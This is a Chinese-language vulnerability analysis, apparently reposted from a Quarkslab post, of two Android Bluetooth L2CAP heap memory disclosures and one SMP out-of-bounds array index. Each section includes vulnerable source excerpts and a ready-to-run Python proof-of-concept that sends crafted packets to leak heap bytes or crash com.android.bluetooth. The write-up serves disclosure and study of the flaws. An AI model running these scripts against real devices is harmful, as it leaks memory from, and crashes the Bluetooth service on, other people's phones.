兩個內存泄漏和一個數組索引越界
漏洞簡介
- Issue 74882215: Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure(藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄漏)
- Issue 74889513: Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure(藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄漏)
- Issue 74917004: Bluetooth SMP smp_sm_event() OOB Array Indexing(藍牙SMP smp_sm_event()OOB數組索引)
漏洞1:Bluetooth L2CAP L2CAP_CMD_CONN_REQ Remote Memory Disclosure
(藍牙L2CAP L2CAP_CMD_CONN_REQ遠程內存泄漏)
簡要
通過將巧盡心思構造的L2CAP數據包發送到目標設備,藍牙范圍內的遠程攻擊者可以利用Android藍牙堆棧中的漏洞來泄露屬于com.android.bluetooth守護程序堆的2個字節(一個uint16_t數據)。
前置介紹
L2CAP
L2CAP(Logical Link Control and Adaptation Protocol),即邏輯鏈路控制和適配協議
【藍牙架構中如圖所示】
L2CAP是藍牙協議棧中的一個協議。
功能包括 為更高層的協議傳輸數據、在單個鏈路上復用多個應用程序。
L2CAP是基于信道的,并且控制命令在預定義的L2CAP_SIGNALLING_CID(0x01)信道上發送。
漏洞詳情
漏洞在于使用 STREAM_TO_UINT16從而不檢查攻擊者控制的數據包中是否剩余了足夠的數據。如果第二次使用 STREAM_TO_UINT16時,數據包中沒有剩余字節,那么將越界讀取 rcid
結果:泄漏數據包后相鄰的兩個字節(rcid)
L2CAP傳入的數據由l2c_rcv_acl_data()函數[ platform / system / bt / stack / l2cap / l2c_main.cc ]處理。
如果傳入的L2CAP數據包指定L2CAP_SIGNALLING_CID作為其目標通道,則l2c_rcv_acl_data()調用process_l2cap_cmd()函數來處理L2CAP控制命令。
以上過程如下所示:
L2CAP_CMD_CONN_REQ控制命令在process_L2CAP_CMD()函數中是這樣處理的:
case L2CAP_CMD_CONN_REQ:
STREAM_TO_UINT16(con_info.psm, p);
STREAM_TO_UINT16(rcid, p);
p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
if (p_rcb == NULL) {
L2CAP_TRACE_WARNING("L2CAP - rcvd conn req for unknown PSM: %d",
con_info.psm);
l2cu_reject_connection(p_lcb, rcid, id, L2CAP_CONN_NO_PSM);
break;
} else {
[...]
代碼使用了兩次STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ], 從L2CAP數據包(上面的變量p,就是數據包中的數據)中一共讀取2個uint16_t值(讀入后分別放入了con_info.psm和rcid中)。
#define STREAM_TO_UINT16(u16, p)
{
(u16) = ((uint16_t)(*(p)) + (((uint16_t)(*((p) + 1))) << 8));
(p) += 2;
}
漏洞在于使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數據包中是否剩余了足夠的數據。如果第二次使用STREAM_TO_UINT16時,數據包中沒有剩余字節,那么將越界讀取rcid(也可能越界讀取con_info.psm,只是后面不會泄露出來),更確切地說,從堆上與數據包相鄰的任何數據。之后,如果l2cu_find_rcb_by_psm()返回NULL,并且因此到達了if分支,則調用l2cu_reject_connection() [ stack / l2cap / l2c_utils.cc ]將向遠程對等方發送rcid,從而有效地從堆中泄漏了2個字節:
void l2cu_reject_connection(tL2C_LCB* p_lcb, uint16_t remote_cid,
uint8_t rem_id, uint16_t result) {
[...]
UINT16_TO_STREAM(p, 0); /* Local CID of 0 */
UINT16_TO_STREAM(p, remote_cid);
UINT16_TO_STREAM(p, result);
UINT16_TO_STREAM(p, 0); /* Status of 0 */
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
請注意,攻擊者可以通過在特制的L2CAP數據包中提供未注冊的協議/服務多路復用器(PSM)ID字段來完全影響l2cu_find_rcb_by_psm(),以致于始終返回NULL(從而始終到達if分支)。
另外,請注意,這種使用STREAM_TO_UINT16宏而不檢查攻擊者控制的數據包中是否剩余足夠數據的不安全代碼模式似乎已在process_l2cap_cmd()函數的各處使用。
總結來說,過程如下圖所示:
從堆棧上通過函數STREAM_TO_UINT16分別讀取兩字節到con_info.psm和rcid,con_info.psm再通過函數l2cu_find_rcd_by_psm函數得到p_rcb,對p_rcb進行判斷,如果p_rcb == NULL(可以通過提供未注冊的協議/服務多路復用器ID字段來實現),會讀取rcid等信息。
如果,數據包中的數據在數據1..就已經結束,程序還是會將堆棧上將相鄰兩個字節的數據(也就是數據2..)讀入到rcid,最后發送給遠程對等方。那么,最后整個攻擊結果就是這里的內存泄漏了兩個字節。
Proof-of-Concept(概念驗證)
以下Python代碼觸發了該漏洞,并打印了從目標藍牙設備的com.android.bluetooth守護程序堆泄漏的16位值。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法:$ sudo python l2cap01.py <src-hci > <target-bdaddr>。
例如:$ sudo python l2cap01.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_CONN_REQ = 0x02
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 2 bytes from the heap 這將從堆中泄漏2個字節
print "Sending L2CAP_CMD_CONN_REQ in L2CAP connection..." #發送L2CAP連接中的L2CAP命令連接請求
cmd_code = L2CAP_CMD_CONN_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
non_existent_psm = 0x3333 # Non-existent Protocol/Service Multiplexer id, so l2cu_find_rcb_by_psm() returns NULL and l2cu_reject_connection() is called 協議/服務多路復用器id不存在,因此l2cu_find_rcb_by_psm()返回NULL,并調用l2cu_reject_connection()
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#這里我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()調用進程_L2CAP_cmd():
# 170 /* Send the data through the channel state machine 通過通道狀態機發送數據*/
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBHH', cmd_code, cmd_id, cmd_len, non_existent_psm)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.打印返回的數據。
pkt = l2cap_loop.cont()[0]
print "Response: %sn" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_ConnResp
# The response contains 1 leaked word in the 'scid' field of the L2CAP_ConnResp layer 響應在L2CAP_conresp層的“scid”字段中包含1個泄漏的單詞
print "Leaked word: 0x%04x" % pkt[2].scid
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
漏洞2:Bluetooth L2CAP L2CAP_CMD_DISC_REQ Remote Memory Disclosure
藍牙L2CAP L2CAP_CMD_DISC_REQ遠程內存泄露
簡要
通過將特制的L2CAP數據包發送到目標設備,藍牙范圍內的遠程攻擊者可以使用Android 藍牙堆棧中的漏洞來泄露屬于com.android.bluetooth守護程序堆的4個字節。
漏洞詳情
漏洞在于,兩次使用了STREAM_TO_UINT16 宏,而沒有檢查攻擊者控制的數據包中是否至少還有4個字節。如果數據包中沒有剩余字節,則越界讀取 lcid 和 rcid。
結果:泄漏數據包后相鄰的四個字節
L2CAP_CMD_DISC_REQ控制命令在process_L2CAP_CMD()函數中是這樣處理的:
case L2CAP_CMD_DISC_REQ:
STREAM_TO_UINT16(lcid, p);
STREAM_TO_UINT16(rcid, p);
p_ccb = l2cu_find_ccb_by_cid(p_lcb, lcid);
if (p_ccb != NULL) {
if (p_ccb->remote_cid == rcid) {
p_ccb->remote_id = id;
l2c_csm_execute(p_ccb, L2CEVT_L2CAP_DISCONNECT_REQ, &con_info);
}
} else
l2cu_send_peer_disc_rsp(p_lcb, id, lcid, rcid);
上面的代碼兩次使用STREAM_TO_UINT16宏[ platform / system / bt / stack / include / bt_types.h ] ,從L2CAP數據包中一共讀取2個uint16_t值(lcid和rcid):
漏洞在于,兩次使用了STREAM_TO_UINT16宏,而沒有檢查攻擊者控制的數據包中是否至少還有4個字節。如果數據包中沒有剩余字節,則越界讀取lcid和rcid,更準確地說,從堆上與數據包數據相鄰的任何數據讀取。之后,如果l2cu_find_ccb_by_cid()返回NULL并因此到達else分支,則調用l2cu_send_peer_disc_rsp() [ platform / system / bt / stack / l2cap / l2c_utils.cc ]向遠程對等方發送lcid和rcid,有效地從堆中泄漏了4個字節:
void l2cu_send_peer_disc_rsp(tL2C_LCB* p_lcb, uint8_t remote_id,
uint16_t local_cid, uint16_t remote_cid) {
[...]
UINT16_TO_STREAM(p, local_cid);
UINT16_TO_STREAM(p, remote_cid);
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}
請注意,攻擊者可能會完全影響l2cu_find_ccb_by_cid()來返回NULL(并因此到達else分支),因為除非在目標藍牙設備和攻擊者的藍牙設備之間使用虛假lcid設置了活動的信道控制塊(CCB),否則該函數將始終返回NULL。
圖示如下:
從堆棧上通過函數STREAM_TO_UINT16分別讀取兩字節到lcid和rcid,con_info.psm再通過函數l2cu_find_ccd_by_cid函數得到p_ccb,對p_ccb進行判斷,如果p_ccb == NULL(通過在目標藍牙之間使用的虛擬lcid不設置活動的信道控制塊來實現),然后就會向遠程對等方發送lcid和rcid等信息。
如果,數據包中的數據在數據1..之前就已經結束,程序還是會將堆棧上將相鄰四個字節的數據(也就是數據2..)分別讀入到lcid和rcid,最后發送給遠程對等方。那么,最后整個攻擊結果就是這里的內存泄漏了四個字節。
Proof-of-Concept(概念驗證)
以下Python代碼觸發了該漏洞,并打印了從目標藍牙設備的com.android.bluetooth守護程序堆泄漏的兩個16位值。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法: $ sudo python l2cap02.py <src- hci > <target-bdaddr>。
例如:$ sudo python l2cap02.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SIGNALLING_CID = 0x01
L2CAP_CMD_DISC_REQ = 0x06
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
# This will leak 4 bytes from the heap 這將從堆中泄漏4個字節
print "Sending L2CAP_CMD_DISC_REQ command in L2CAP connection..."
cmd_code = L2CAP_CMD_DISC_REQ
cmd_id = 0x41 # not important
cmd_len = 0x00 # bypasses this check at lines 296/297 of l2c_main.cc: p_next_cmd = p + cmd_len; / if (p_next_cmd > p_pkt_end) {
# here we use L2CAP_SIGNALLING_CID as cid, so l2c_rcv_acl_data() calls process_l2cap_cmd():
#這里我們將L2CAP_signaling_CID用作CID,因此l2c_rcv_acl_data()調用進程_L2CAP_cmd():
# 170 /* Send the data through the channel state machine */
# 171 if (rcv_cid == L2CAP_SIGNALLING_CID) {
# 172 process_l2cap_cmd(p_lcb, p, l2cap_len);
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SIGNALLING_CID) / Raw(struct.pack('<BBH', cmd_code, cmd_id, cmd_len)))
l2cap_loop.on(lambda pkt: True,
lambda loop, pkt: pkt)
# And printing the returned data.并打印返回的數據。
pkt = l2cap_loop.cont()[0]
print "Response: %sn" % repr(pkt)
# print "Packet layers: %s" % pkt.summary()
# The response packet contains 3 layers: L2CAP_Hdr / L2CAP_CmdHdr / L2CAP_DisconnResp
# The response contains 2 leaked words in the 'dcid' and 'scid' fields of the L2CAP_DisconnResp layer
print "Leaked words: 0x%04x 0x%04x" % (pkt[2].dcid, pkt[2].scid)
l2cap_loop.finish()
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: l2cap02.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
漏洞3:Bluetooth SMP smp_sm_event() OOB Array Indexing
Bluetooth SMP smp_sm_event() OOB陣列索引
簡要
藍牙范圍內的遠程攻擊者可以使用Android 藍牙堆棧中的漏洞,通過以意外傳輸方式將包含SMP_OPCODE_PAIRING_REQ命令的SMP數據包發送到目標設備,從而使com.android.bluetooth守護程序訪問其邊界之外的數組。
前置介紹
安全管理協議SMP
SMP(The Security Manager Protocol )
連接建立之后,雙方通過某些方式協商共同的密鑰,然后將后續要傳輸的數據用這個密鑰通過加密算法進行加密,然后發送。接收方,接收到這些數據后,必須使用正確的密鑰來解密,才能得到正確的數據了。接著,建立密鑰,即完成雙方密鑰協商,就密鑰一事達成共同一致的過程。
過程如圖所示:
為運行在低功耗藍牙協議棧上的應用程序提供諸如身份驗證,設備授權和數據隱私等服務的權限。
漏洞詳情
數組索引只接受0x0和0x1,而作為索引的變量還能設置為0xff,導致后續引用可能導致分段錯誤
SMP協議通過預定義的L2CAP_SMP_CID(0x06)通道,位于L2CAP之上。
傳入的SMP數據包由smp_data_received()函數[ platform / system / bt / stack / smp / smp_l2c.cc ]處理。如果 通過包含SMP_OPCODE_PAIRING_REQ(0x01)命令的L2CAP_SMP_CID固定通道 接收到輸入SMP數據包,則將到達以下代碼:
static void smp_data_received(uint16_t channel, const RawAddress& bd_addr,
BT_HDR* p_buf) {
[...]
/* reject the pairing request if there is an on-going SMP pairing */
if (SMP_OPCODE_PAIRING_REQ == cmd || SMP_OPCODE_SEC_REQ == cmd) {
if ((p_cb->state == SMP_STATE_IDLE) &&
(p_cb->br_state == SMP_BR_STATE_IDLE) &&
!(p_cb->flags & SMP_PAIR_FLAGS_WE_STARTED_DD)) {
p_cb->role = L2CA_GetBleConnRole(bd_addr);
[...]
如上面的代碼所示,最后一行中p_cb-> role設置為L2CA_GetBleConnRole(bd_addr)返回的值。p_cb-> role應該保存以下值之一[ platform / system / bt / stack / include / hcidefs.h ],也就是 p_cb->role的值可以是0x00、0x01、0xff
/* HCI role defenitions */
#define HCI_ROLE_MASTER 0x00
#define HCI_ROLE_SLAVE 0x01
#define HCI_ROLE_UNKNOWN 0xff
如果我們查看L2CA_GetBleConnRole()函數的代碼[ platform / system / bt / stack / l2cap / l2c_ble.cc ],我們可以看到它調用了l2cu_find_lcb_by_bd_addr()為了查找活躍的鏈接控制塊(an active Link Control Block)(LCB)結構匹配遠程BDADDR并且使用低能耗傳輸(BT_TRANSPORT_LE);如果找不到它,則返回HCI_ROLE_UNKNOWN(0xff)。當我們通過BR/EDR(基本速率/增強數據速率,也稱為“經典”藍牙)傳輸發送包含SMP_OPCODE_PAIRING_REQ命令的SMP數據包時,這種情況會發生,因為它只適用于低能量(LE)傳輸:
uint8_t L2CA_GetBleConnRole(const RawAddress& bd_addr) {
uint8_t role = HCI_ROLE_UNKNOWN;
tL2C_LCB* p_lcb;
p_lcb = l2cu_find_lcb_by_bd_addr(bd_addr, BT_TRANSPORT_LE);
if (p_lcb != NULL) role = p_lcb->link_role;
return role;
}
因此,回到smp_data_received()函數,將p_cb-> role設置為HCI_ROLE_UNKNOWN(0xff)之后,它調用smp_sm_event() [ platform / system / bt / stack / smp / smp_main.cc ],我們到達以下代碼:
953 void smp_sm_event(tSMP_CB* p_cb, tSMP_EVENT event, tSMP_INT_DATA* p_data) {
...
957 tSMP_ENTRY_TBL entry_table = smp_entry_table[p_cb->role];
...
970 /* look up the state table for the current state */
971 /* lookup entry /w event & curr_state */
972 /* If entry is ignore, return.
973 * Otherwise, get state table (according to curr_state or all_state) */
974 if ((event <= SMP_MAX_EVT) &&
975 ((entry = entry_table[event - 1][curr_state]) != SMP_SM_IGNORE)) {
在957行,代碼使用p_cb-> role作為索引從smp_entry_table靜態數組中讀取,而無需檢查p_cb-> role是否具有兩個有效值之一(HCI_ROLE_MASTER(0x00)或HCI_ROLE_SLAVE(0x01))。這就是漏洞所在:smp_entry_table靜態數組僅包含2個元素,而p_cb-> role的值為0xFF,是在通過BR / EDR傳輸接收到包含SMP_OPCODE_PAIRING_REQ命令的SMP數據包之后,而不是通過預期的低能耗傳輸:
static const tSMP_ENTRY_TBL smp_entry_table[] = {smp_master_entry_map,
smp_slave_entry_map};
因此,由于執行entry_table = smp_entry_table [0xff]時的OOB索引,entry_table局部變量將包含一些垃圾值(無論是否在bluetooth.default.so二進制數據的smp_entry_table全局變量之后)。因此,稍后,在第975行,當取消引用entry_table [event- 1] [curr_state]時,很可能會導致分段錯誤(受特定版本的bluetooth.default.so二進制文件的影響,smp_entry_table全局變量位于該二進制文件中)),這將使com.android.bluetooth守護程序停止工作。
總結來說,過程如下圖所示:
文中提及的函數調用關系:
【箭頭指向表示調用該函數】
理論上講,如果能夠找到了一個版本的bluetooth.default.so,取消引用entry_table [event-1] [curr_state],那么程序就不會崩潰,可以進一步解決此錯誤。
Proof-of-Concept(概念驗證)
以下Python代碼觸發了該漏洞,并且很有可能使目標設備上的com.android.bluetooth守護程序崩潰。
此Python代碼使用Blueborne框架中的l2cap_infra包。
用法: $ sudo python smp01.py <src- hci > <target-bdaddr>。
例如:$ sudo python smp01.py hci0 00:11:22:33:44:55。
import os
import sys
from l2cap_infra import *
L2CAP_SMP_CID = 0x06
# This matches the CID used in l2cap_infra to establish a successful connection.
OUR_LOCAL_SCID = 0x40
SMP_OPCODE_PAIRING_REQ = 0x01
def main(src_hci, dst_bdaddr):
l2cap_loop, _ = create_l2cap_connection(src_hci, dst_bdaddr)
print "Sending SMP_OPCODE_PAIRING_REQ in L2CAP connection..."
cmd_code = SMP_OPCODE_PAIRING_REQ
the_id = 0x41 # not important
cmd_len = 0x08
flags = 0x4142 # not important
# here we use L2CAP_SMP_CID as cid
l2cap_loop.send(L2CAP_Hdr(cid=L2CAP_SMP_CID) / Raw(struct.pack('<BBHHH', cmd_code, the_id, cmd_len, OUR_LOCAL_SCID, flags)))
l2cap_loop.finish()
print "The com.android.bluetooth daemon should have crashed."
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: smp01.py <src-hci> <dst-bdaddr>")
else:
if os.getuid():
print "Error: This script must be run as root."
else:
main(*sys.argv[1:])
結論
漏洞2和漏洞1思想本質上是一致的。
- 相同點:都因為STREAM_TO_UINT16宏沒有對讀入數據進行檢驗,是否到達數據包中還有足夠的數據,導致越界讀取,最后泄漏內存數據。
- 不同點:在繞過前面判斷后 到達的泄漏函數,漏洞1只向遠程對等方法送了第二個從數據包那塊讀入的uint16_t數據;而漏洞2則向遠程對等放發送了兩個從數據包那塊讀入的uint16_t的數據,所以漏洞1可以泄漏2兩個字節,漏洞2可以泄漏4個字節
前兩個漏洞會影響處理L2CAP協議的代碼,并且它們允許遠程攻擊者(在藍牙范圍內)泄露屬于com.android.bluetooth進程的內存內容。這些內存泄露漏洞可能對漏洞利用鏈的早期階段的攻擊者有所幫助,甚至可以用來檢索敏感數據。
第三個漏洞是SMP協議實現中的越界數組索引錯誤,盡管最有可能使com.android.bluetooth進程崩潰,但仍有可能利用它在易受攻擊的Android設備上遠程執行代碼。有趣的是,與兩個L2CAP問題不同,此SMP錯誤并不是解析格式錯誤的數據包的結果。實際上,可以通過發送格式正確的SMP數據包(包含SMP_OPCODE_PAIRING_REQ)來觸發它,但是要是通過BR / EDR(“經典”藍牙)傳輸而不是預期的BLE(低能耗)傳輸來觸發。
總的來說,雖然是兩類漏洞,但是問題起因都在于代碼上的檢驗不夠完整導致的,使得程序執行到了非預期的情況。
參考:https://blog.quarkslab.com/a-story-about-three-bluetooth-vulnerabilities-in-android.html
本文由言承原創發布
轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/215179